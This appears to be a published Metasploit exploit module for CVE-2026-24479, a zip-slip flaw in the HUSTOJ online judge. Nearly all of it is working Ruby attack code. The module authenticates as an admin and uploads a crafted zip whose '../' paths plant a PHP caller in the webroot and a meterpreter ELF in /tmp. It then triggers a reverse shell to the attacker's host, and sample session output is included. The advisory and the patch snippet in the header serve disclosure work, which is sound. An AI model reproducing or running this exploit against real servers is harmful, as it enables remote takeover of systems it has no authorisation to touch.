# Exploit Title: HUSTOJ Zip-Slip v26.01.24 - RCE
# Date: 2026-02-14
# Exploit Author: Marshall Whittaker / oxagast
# Vendor Homepage: https://github.com/zhblue/hustoj
# Software Link: http://123.158.38.129:8090/livecd/HUSTOJ25.05.iso
(LiveCD, or see above git repo)
# Version: Before v26.01.24
# Tested on: Ubuntu
# CVE: CVE-2026-24479
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# This payload is configured for:
# msfvenom -p linux/x86/meterpreter_reverse_tcp --format elf
#
# Patch:
# $file_name = $path.zip_entry_name($dir_resource);
# $file_name=str_replace('../', '', $file_name);
# $file_path = substr($file_name,0,strrpos($file_name, "/"));
#
# msf exploit(local/test/hustoj_problem_import_rce) > exploit
# [*] Started reverse TCP handler on 10.0.1.35:4444
# [*] Running automatic check ("set AutoCheck false" to disable)
# [+] The target is vulnerable.
# [+] Payload generated!
# [*] Random payload tag is: 886b0 ...
# [+] Zip file generated!
# [+] Connected to the target webserver!
# [+] Logged in successfully!
# [*] Checking if this account has administrative privileges...
# [+] This is an admin account!
# [*] Uploading the payload...
# [+] Accessed the problem import page!
# [+] Payload uploaded!...
# [*] Waiting on files to be extracted serverside...
# [*] This is where the zipslip happens...
# [*] Triggering the php script...
# [*] Meterpreter session 21 opened (10.0.1.35:4444 -> 10.0.1.23:51080) at 2026-02-13 06:01:07 -0500
# [*] Cleaning up the payload caller and shell files...
# [+] Boom!! Have fun!
#
# meterpreter >
#
#
require 'msf/core'
require 'nokogiri'
require 'digest/md5'
# Metasploit module for exploiting HUSTOJ problem import RCE (CVE-2026-24479)
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(update_info(info,
'Name' => 'Authenticated admin can upload crafted zip file for RCE',
'Description' => <<~DESC,
A user with administrative privileges can abuse the problem_import_qduoj.php CGI script
using a crafted zip file (zip-slip) to traverse backwards through the filesystem to the
webroot, where they can extract a PHP file containing a shell to get full RCE in the
context of the webserver.
DESC
'Author' => [
'Marshall Whittaker',
'LoTuS and friends',
'ling101w'
],
'License' => MSF_LICENSE,
'ARCH' => [ARCH_X86],
'References' => [
['URL', 'https://github.com/oxagast/oxasploits/blob/JoshuaJohnWard/exploits' \
'/CVE-2026-24479/hustoj_problem_import_rce.rb'],
['URL', 'https://github.com/zhblue/hustoj/commit/902bd09e6d0011fe89cd84d423' \
'6899314b33101f'],
['URL', 'https://github.com/zhblue/hustoj/security/advisories/GHSA-xmgg-2rw4-7fxj'],
['CVE', '2026-24479'],
['CWE', '22']
],
'Platform' => 'linux',
'Targets' => [
[
'HUSTOJ < v26.01.24 (commit 89044beb4cea758a353fd133895dec76822f4ddc)',
{ 'Privileged' => false }
]
],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
},
'DisclosureDate' => '2026-01-26',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80),
Opt::LPORT(4444),
OptString.new('RHOST', [true, "The target machine's IP", '']),
OptString.new('LHOST', [true, "This machine's IP", '']),
OptString.new('USERNAME', [true, "The HUSTOJ administrative user's username", 'admin']),
OptString.new('PASSWORD', [true, "The HUSTOJ administrative user's password", '']),
OptString.new('DropFile', [true, 'The name of the file to drop on the target (without extension)', 'msf']),
OptInt.new('TRIGGER_WAIT', [true, 'Number of seconds to wait for shell call', 2]),
OptInt.new('traverse_limit', [true, 'Number of ../ traversals to include in zip slip paths', 6])
], self.class
)
register_advanced_options([
OptBool.new('HANDLER',
[true, 'Start an exploit/multi/handler job to receive the connection',
true])
])
deregister_options('VHOST', 'Proxies', 'RHOSTS', 'SSL')
end
# Check if the target is likely vulnerable
def check
res = send_request_cgi(
'uri' => '/include/reinfo.js',
'method' => 'GET',
'ctype' => 'application/javascript'
)
return Exploit::CheckCode::Unknown if res.nil?
return Exploit::CheckCode::Appears if res.code != 200
return Exploit::CheckCode::Detected if res.code == 200 &&
res.body.include?('function escapeHtml(str) {')
return Exploit::CheckCode::Vulnerable if res.code == 200 &&
!res.body.include?('function escapeHtml(str) {')
Exploit::CheckCode::Safe
end
# Authenticate as admin and return session cookies
def login(user, pass)
res = send_request_cgi(
{
'uri' => '/',
'method' => 'GET',
'keep_cookies' => true,
'ctype' => 'text/html'
}, 3
)
if res && res.code == 200
print_good("Connected to the target webserver! #{datastore['RHOST']}:#{datastore['RPORT']}")
else
fail_with(
Failure::Unreachable,
'Failed to connect to the target webserver!'
)
end
cook = res.get_cookies
send_request_cgi(
'uri' => '/csrf.php',
'cookies' => cook,
'method' => 'GET',
'keep_cookies' => true,
'ctype' => 'text/html'
)
send_request_cgi(
'uri' => '/loginpage.php',
'method' => 'GET',
'keep_cookies' => true,
'ctype' => 'text/html'
)
res = send_request_cgi(
'uri' => '/csrf.php',
'cookies' => cook,
'method' => 'GET',
'keep_cookies' => true,
'ctype' => 'text/html'
)
doc = Nokogiri::HTML(res.body)
csrf = doc.css('input[name="csrf"]').first['value']
send_request_cgi(
'method' => 'POST',
'uri' => '/login.php',
'cookies' => cook,
'keep_cookies' => true,
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'user_id' => user,
'password' => Digest::MD5.hexdigest(pass),
'csrf' => csrf
}
)
# Check if login was successful
res = send_request_cgi(
'method' => 'GET',
'uri' => '/modifypage.php',
'cookies' => cook,
'keep_cookies' => true
)
if res && res.code == 200 && res.body.include?('userinfo.php')
stars = '*' * pass.length
print_good("Logged in successfully! #{user}:#{stars}")
else
fail_with(
Failure::BadConfig,
'Failed to authenticate! Check credentials.'
)
end
# Check if the account has admin privileges
res = send_request_cgi(
'method' => 'GET',
'uri' => '/admin/menu2.php',
'cookies' => cook,
'keep_cookies' => true
)
if res && res.code == 200 && res.body.include?('problem_import.php')
print_good('This is an admin account! res.body includes problem_import.php')
else
print_error('This does not appear to be an admin account! Attempting to continue,')
print_error(' but the exploit may fail at the payload upload stage...')
end
cook
end
# Upload the malicious zip payload using the admin session
def upload_payload(zip_dat, rand_tag, cook, dds)
zip_size_kb = (zip_dat.length / 1024.0).round(2)
print_status("Uploading the payload... #{zip_size_kb}kb")
# Access the problem import page to get the postkey
res = send_request_cgi(
'method' => 'GET',
'cookies' => cook,
'uri' => '/admin/problem_import.php',
'keep_cookies' => true,
'ctype' => 'text/html'
)
if res && res.code == 200 && res.body.include?('problem_import_qduoj.php')
print_good('Accessed the problem import page! /admin/problem_import.php')
else
fail_with(
Failure::UnexpectedReply,
'Failed to access the problem import page!'
)
end
doc = Nokogiri::HTML(res.body)
postkey_input = doc.at_css('input[name="postkey"]')
postkey = postkey_input ? postkey_input['value'] : nil
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the postkey!') if postkey.nil? || postkey.empty?
form_boundary = "----WebKitFormBoundary#{rand_tag}"
form_data = <<~FORMDATA
--#{form_boundary}
Content-Disposition: form-data; name="fps"; filename="#{datastore['dropfile']}.zip"
Content-Type: application/zip
#{zip_dat}
--#{form_boundary}
Content-Disposition: form-data; name=postkey
#{postkey}
--#{form_boundary}--
FORMDATA
res = send_request_cgi(
'method' => 'POST',
'uri' => '/admin/problem_import_qduoj.php',
'cookies' => cook,
'keep_cookies' => true,
'ctype' => "multipart/form-data; boundary=#{form_boundary}",
'data' => form_data
)
if res && res.code == 200
print_good("Payload uploaded! #{datastore['dropfile']}.zip")
else
print_error('Failed to upload the payload, trying again for a different revision...')
form_data = <<~FORMDATA
--#{form_boundary}
Content-Disposition: form-data; name="fps"; filename="#{datastore['dropfile']}.zip"
Content-Type: application/zip
#{zip_dat}
--#{form_boundary}
FORMDATA
res = send_request_cgi(
'method' => 'POST',
'uri' => '/admin/problem_import_qduoj.php',
'cookies' => cook,
'keep_cookies' => true,
'ctype' => "multipart/form-data; boundary=#{form_boundary}",
'data' => form_data
)
if res && res.code == 200
print_good("Payload uploaded! #{datastore['dropfile']}.zip")
else
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload!')
end
end
print_status("This is where the zipslip happens... #{dds} (levels: #{datastore['traverse_limit']})")
end
# Trigger the uploaded PHP shell to execute the payload
def trigger_sploit(rand_tag)
print_status("Triggering the php script... #{datastore['dropfile']}-#{rand_tag}.php")
send_request_raw(
{
'uri' => "/#{datastore['dropfile']}-#{rand_tag}.php",
'ctype' => 'text/html',
'method' => 'GET'
},
datastore['TRIGGER_WAIT']
)
end
# Clean up dropped files after exploitation
def cleanup
super
send_request_raw(
{
'uri' => '/cleanup-msf.php',
'ctype' => 'text/html',
'method' => 'GET'
}
)
print_status('Cleaning up the payload caller and shell files...')
print_good('Boom!! Have fun!') unless framework.sessions.length.zero?
end
# Main exploit logic
def exploit
# Generate the payload ELF binary
pay = framework.modules.create(datastore['payload'])
pay.datastore['LHOST'] = datastore['LHOST']
pay.datastore['RHOST'] = datastore['RHOST']
pay.datastore['LPORT'] = datastore['LPORT']
shell_gend = pay.generate_simple({ 'Format' => 'elf' })
if shell_gend == ''
fail_with(
Failure::PayloadFailed,
'Payload generation failed! Try a different payload?'
)
end
print_good("Payload generated! #{datastore['payload']}")
# Generate a random tag for file uniqueness
rand_tag = '%05x' % rand(0xfffff + 1)
print_status("Random payload tag #{rand_tag}")
# PHP script to call the ELF payload
shell_caller = "<?php chmod('/tmp/#{datastore['dropfile']}-#{rand_tag}', 0700); system('/tmp/#{datastore['dropfile']}-#{rand_tag}'); ?>"
# PHP script to clean up dropped files
cleanup_caller = "<?php unlink('/tmp/#{datastore['dropfile']}-#{rand_tag}'); unlink('/home/judge/src/web/#{datastore['dropfile']}" \
"-#{rand_tag}.php'); unlink('/home/judge/src/web/cleanup-msf.php'); ?>"
dds = '../' * datastore['traverse_limit'] # Directory traversal string for zipslip
# Files to include in the malicious zip (zipslip paths for traversal)
files = [
{ data: shell_gend, fname: "#{dds}tmp/#{datastore['dropfile']}-#{rand_tag}" },
{ data: shell_caller, fname: "#{dds}home/judge/src/web/#{datastore['dropfile']}-#{rand_tag}.php" },
{ data: cleanup_caller, fname: "#{dds}home/judge/src/web/cleanup-msf.php" },
{ data: '{}', fname: 'problem_1010.json' },
{ data: '', fname: 'problem_1010/1.in' },
{ data: '', fname: 'problem_1010/1.out' }
]
# Create the malicious zip archive
zip_dat = Msf::Util::EXE.to_zip(files)
fail_with(Failure::Unknown, 'Zip generation failed!') if zip_dat.empty?
print_good("Zip file generated! Files: #{files.length}")
# Authenticate and upload the payload
cookies = login(datastore['USERNAME'], datastore['PASSWORD'])
upload_payload(zip_dat, rand_tag, cookies, dds)
# Trigger the PHP shell to execute the payload
trigger_sploit(rand_tag)
end
end